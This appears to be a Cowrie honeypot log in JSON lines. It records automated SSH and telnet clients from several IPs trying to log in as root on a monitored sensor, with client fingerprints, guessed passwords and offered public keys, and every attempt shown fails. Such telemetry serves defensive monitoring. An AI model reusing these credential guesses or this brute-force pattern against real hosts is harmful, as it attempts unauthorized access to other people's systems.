{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33586,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ffa1186ad29","protocol":"ssh","message":"New connection: 51.250.105.222:33586 (159.203.135.109:22) [session: 2ffa1186ad29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:14.755050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:14.761502Z","src_ip":"51.250.105.222","session":"2ffa1186ad29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:14.887893Z","src_ip":"51.250.105.222","session":"2ffa1186ad29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfgjxrf","message":"login attempt [root/kfgjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:15.272491Z","src_ip":"51.250.105.222","session":"2ffa1186ad29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.95488953590393,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:15.806611Z","src_ip":"152.42.224.71","session":"4d9491ac6d3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:16.406481Z","src_ip":"51.250.105.222","session":"2ffa1186ad29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":39632,"dst_ip":"10.17.0.5","dst_port":23,"session":"eecf8b8ff7ef","protocol":"telnet","message":"New connection: 213.108.3.46:39632 (10.17.0.5:23) [session: eecf8b8ff7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:19.103759Z"}
{"eventid":"cowrie.session.closed","duration":0.015587329864501953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:19.119210Z","src_ip":"213.108.3.46","session":"eecf8b8ff7ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37060,"dst_ip":"10.17.0.5","dst_port":23,"session":"022fbb09f83c","protocol":"telnet","message":"New connection: 152.42.224.71:37060 (10.17.0.5:23) [session: 022fbb09f83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:32:22.225307Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58518,"dst_ip":"10.17.0.5","dst_port":23,"session":"63f76b63a3ca","protocol":"telnet","message":"New connection: 152.42.224.71:58518 (10.17.0.5:23) [session: 63f76b63a3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:05.050929Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60330,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef18a81d662d","protocol":"ssh","message":"New connection: 62.133.62.83:60330 (159.203.135.109:22) [session: ef18a81d662d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:27.792653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:27.797905Z","src_ip":"62.133.62.83","session":"ef18a81d662d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:27.877381Z","src_ip":"62.133.62.83","session":"ef18a81d662d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"darina","message":"login attempt [root/darina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:28.127716Z","src_ip":"62.133.62.83","session":"ef18a81d662d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:29.328678Z","src_ip":"62.133.62.83","session":"ef18a81d662d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.184.158","src_port":55366,"dst_ip":"10.17.0.5","dst_port":22,"session":"abd8db33c62e","protocol":"ssh","message":"New connection: 31.42.184.158:55366 (10.17.0.5:22) [session: abd8db33c62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:44.858077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:44.863002Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:44.991940Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:b1:57:f6:c9:f6:51:4f:f5:31:1a:8c:fc:93:59:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYc+Uig5yCDK3lXxzmEhay1B2p1BuC2Ke6L7XcnZzszPUS2aMcEta6PDSfz3Zuu+accc2jvsJBJgT9H8VZJfp+Eh2c2qw8gnP7jEA/B6HofCKhAdoneh7Y6B6CKzgw/SMleizjr2F1KfL/dmt4u9uWSSOWkH5oz07gos9b3FdjIbQKjgOn38hbwXQhyGgqNQmxvQ0henxAWAHX8cOsH3un6eKStZrlrOZnvvBR0duo+bfd5t6hT9tB5t0jhX+ZHH0Zh/ZAItWWrMRoFOCk/bwbsnOmLR4SMH7X9USv3WbSyGhw0ynQH3AdfKPu7GOBSSoNZ9djECLinnoSzTOpC/01","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:b1:57:f6:c9:f6:51:4f:f5:31:1a:8c:fc:93:59:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:45.612856Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:b1:57:f6:c9:f6:51:4f:f5:31:1a:8c:fc:93:59:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYc+Uig5yCDK3lXxzmEhay1B2p1BuC2Ke6L7XcnZzszPUS2aMcEta6PDSfz3Zuu+accc2jvsJBJgT9H8VZJfp+Eh2c2qw8gnP7jEA/B6HofCKhAdoneh7Y6B6CKzgw/SMleizjr2F1KfL/dmt4u9uWSSOWkH5oz07gos9b3FdjIbQKjgOn38hbwXQhyGgqNQmxvQ0henxAWAHX8cOsH3un6eKStZrlrOZnvvBR0duo+bfd5t6hT9tB5t0jhX+ZHH0Zh/ZAItWWrMRoFOCk/bwbsnOmLR4SMH7X9USv3WbSyGhw0ynQH3AdfKPu7GOBSSoNZ9djECLinnoSzTOpC/01","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:45.616748Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:69:81:e3:ff:37:b9:e4:e7:a0:b6:de:9e:6d:fe:31","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOz6zl7MNIfDinPq9zm2Ech6WL32A443o0qtiv1NAb3J","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 20:69:81:e3:ff:37:b9:e4:e7:a0:b6:de:9e:6d:fe:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:45.746531Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:69:81:e3:ff:37:b9:e4:e7:a0:b6:de:9e:6d:fe:31","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOz6zl7MNIfDinPq9zm2Ech6WL32A443o0qtiv1NAb3J","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:45.750210Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:73:70:45:7c:03:a6:f9:0a:c5:0e:b8:82:46:e9:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqcFxZV3GUmfjjUPe1Snl66wdzNXso9RENRLjzFlVZbL9lkLGIY09aAeFkdh+/rr4TyyoQG7BXoO/ayQFWQAH7eQMevqwkUtrSAFLOhqKW1tjWk7OqP+lwnPOxCsqsZiGArksokjn828ISq2huYO4p3cL2zMn0OCebB4en29hwkPfm3MiAxz6TlVXG2OjHfm146z70Q2a0cstsccUYzilybWBetguaVD83agj4YhngXSvXuJ+YxBjLDFSuqZ6V217YDc8VhH6RDA24irhDtFV85DVGUpm4GUfof/iSPzWbOXcg1mtz7BwJXIod8Px6k9eWoXAPR8KgjQroJzVPPlmuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:73:70:45:7c:03:a6:f9:0a:c5:0e:b8:82:46:e9:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:45.879512Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:73:70:45:7c:03:a6:f9:0a:c5:0e:b8:82:46:e9:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqcFxZV3GUmfjjUPe1Snl66wdzNXso9RENRLjzFlVZbL9lkLGIY09aAeFkdh+/rr4TyyoQG7BXoO/ayQFWQAH7eQMevqwkUtrSAFLOhqKW1tjWk7OqP+lwnPOxCsqsZiGArksokjn828ISq2huYO4p3cL2zMn0OCebB4en29hwkPfm3MiAxz6TlVXG2OjHfm146z70Q2a0cstsccUYzilybWBetguaVD83agj4YhngXSvXuJ+YxBjLDFSuqZ6V217YDc8VhH6RDA24irhDtFV85DVGUpm4GUfof/iSPzWbOXcg1mtz7BwJXIod8Px6k9eWoXAPR8KgjQroJzVPPlmuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:45.883506Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:fc:10:ed:3d:3c:ad:60:65:46:c9:e4:bc:cd:ef:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0ahmA16Ifz/UDFTvAQalUXXjyGqrTZiyauJQPiC4GUH7i9if0SpUBYdE6qA/5y4yvwAKqOOYalogoTPbI5CLlrM+uyC346Tm6eraPwoOaghsy5lLwkuf2YVU701pM5psj78H0s/8alLphMwsx3TKpCcQjkw6zsPZyJphYo2VSWTYGGbpmiN1LG25NfoDnra165Wt1i+TcDyZGISdH5BWq+Jj+D1pgaN54JFqXOOkp20BNR0M//rckQdK17At+m+WRLZ7OlkXErlmB7dYfcX842t0e5uoEqht48S/GFYnftI53QhHMkcm7e9QRkPyEp/AqmH1SZdNGHmOYiKWNTvQWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:fc:10:ed:3d:3c:ad:60:65:46:c9:e4:bc:cd:ef:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:46.013497Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:fc:10:ed:3d:3c:ad:60:65:46:c9:e4:bc:cd:ef:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0ahmA16Ifz/UDFTvAQalUXXjyGqrTZiyauJQPiC4GUH7i9if0SpUBYdE6qA/5y4yvwAKqOOYalogoTPbI5CLlrM+uyC346Tm6eraPwoOaghsy5lLwkuf2YVU701pM5psj78H0s/8alLphMwsx3TKpCcQjkw6zsPZyJphYo2VSWTYGGbpmiN1LG25NfoDnra165Wt1i+TcDyZGISdH5BWq+Jj+D1pgaN54JFqXOOkp20BNR0M//rckQdK17At+m+WRLZ7OlkXErlmB7dYfcX842t0e5uoEqht48S/GFYnftI53QhHMkcm7e9QRkPyEp/AqmH1SZdNGHmOYiKWNTvQWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:46.017521Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:bd:c8:bc:d3:9f:a3:23:0a:e8:59:1d:15:b6:72:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXLg1ymnQ/Jckds08AEo9Z7Qxhakrwfkw0uIMOhmilv+mkwLXTBsU9qXMSiA+Jrv0uCjwW6AOF9akajHpiCWO8PBjSUxq1YFCRQEG0nk2C0/tHC677cHj0z1gTPPC66S0dHHtl5WgCxoLzeBHQ+Z4vYv19t6sO4vltoZxclVtRZR6uXB/T6FjmP6lVugcCc1EliGWwdUvLFReed4qq0tQduJjSdFjVjl5f+FFEP3qQXBSZby5GumkDyXzrVB/RIC3xJjdEtbaxo91/WyajS73mqmFrRWoaKbcI0PxilScQWLhIgimHD2yKKG16EEXiWhLLUAymV33G07MTEZM/VBbru8yaaA5Zl/GRNKoxhNr98us4hkEIxs7HVrrPNSaH0ToxsXVwqDFTzigjupUtZoQFfMGc4A2/2/Gm92mWsMAI1XIbV49efOuAJUYqlo9YrmLdT+j6MgO/ngoT4iCF8NQ8mIhNbolDScXIvl4Te/Tol4KVzlkhdcg+oXRnBNWuogUb/X9eQFq7fc12zUI4EtxX8EuJkb2Qd9A27OMVKztgih9T+sluqabBcZ1N0Vv3nu0IO336bi45aKIDG2PBhDer3f5KbyXuQ2XSfIVlTK5Jz+QJJfc6ukxvewiyc9VXcE6NqP8alSr0iCdPeVNigo3vS1AWooMkh9Hc/hPPNK/fkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:bd:c8:bc:d3:9f:a3:23:0a:e8:59:1d:15:b6:72:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:46.150513Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:bd:c8:bc:d3:9f:a3:23:0a:e8:59:1d:15:b6:72:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXLg1ymnQ/Jckds08AEo9Z7Qxhakrwfkw0uIMOhmilv+mkwLXTBsU9qXMSiA+Jrv0uCjwW6AOF9akajHpiCWO8PBjSUxq1YFCRQEG0nk2C0/tHC677cHj0z1gTPPC66S0dHHtl5WgCxoLzeBHQ+Z4vYv19t6sO4vltoZxclVtRZR6uXB/T6FjmP6lVugcCc1EliGWwdUvLFReed4qq0tQduJjSdFjVjl5f+FFEP3qQXBSZby5GumkDyXzrVB/RIC3xJjdEtbaxo91/WyajS73mqmFrRWoaKbcI0PxilScQWLhIgimHD2yKKG16EEXiWhLLUAymV33G07MTEZM/VBbru8yaaA5Zl/GRNKoxhNr98us4hkEIxs7HVrrPNSaH0ToxsXVwqDFTzigjupUtZoQFfMGc4A2/2/Gm92mWsMAI1XIbV49efOuAJUYqlo9YrmLdT+j6MgO/ngoT4iCF8NQ8mIhNbolDScXIvl4Te/Tol4KVzlkhdcg+oXRnBNWuogUb/X9eQFq7fc12zUI4EtxX8EuJkb2Qd9A27OMVKztgih9T+sluqabBcZ1N0Vv3nu0IO336bi45aKIDG2PBhDer3f5KbyXuQ2XSfIVlTK5Jz+QJJfc6ukxvewiyc9VXcE6NqP8alSr0iCdPeVNigo3vS1AWooMkh9Hc/hPPNK/fkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:46.154139Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:46.284860Z","src_ip":"31.42.184.158","session":"abd8db33c62e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57138,"dst_ip":"159.203.135.109","dst_port":22,"session":"56b65df6605c","protocol":"ssh","message":"New connection: 103.149.28.157:57138 (159.203.135.109:22) [session: 56b65df6605c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:50.011425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:50.015880Z","src_ip":"103.149.28.157","session":"56b65df6605c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:50.274749Z","src_ip":"103.149.28.157","session":"56b65df6605c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kleopatra","message":"login attempt [root/kleopatra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:51.039555Z","src_ip":"103.149.28.157","session":"56b65df6605c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:52.296096Z","src_ip":"103.149.28.157","session":"56b65df6605c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9188,"dst_ip":"10.17.0.5","dst_port":22,"session":"37fc8260ba73","protocol":"ssh","message":"New connection: 87.251.64.176:9188 (10.17.0.5:22) [session: 37fc8260ba73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:57.599708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:33:57.604641Z","src_ip":"87.251.64.176","session":"37fc8260ba73","protocol":"ssh"}
